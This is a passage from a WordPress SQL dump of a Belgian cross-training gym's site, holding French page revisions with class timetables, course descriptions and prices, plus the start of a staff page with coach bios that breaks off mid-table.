50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:39:35', '2013-07-04 19:39:35', '', 11, 'http://www.crosstrainingcenter.be/11-revision-107/', 0, 'revision', '', 0),
(322, 1, '2013-07-10 15:44:11', '2013-07-10 15:44:11', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:44:11', '2013-07-10 15:44:11', '', 11, 'http://www.crosstrainingcenter.be/11-revision-109/', 0, 'revision', '', 0),
(323, 1, '2013-07-10 15:45:00', '2013-07-10 15:45:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:00', '2013-07-10 15:45:00', '', 11, 'http://www.crosstrainingcenter.be/11-revision-110/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(324, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoatch\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 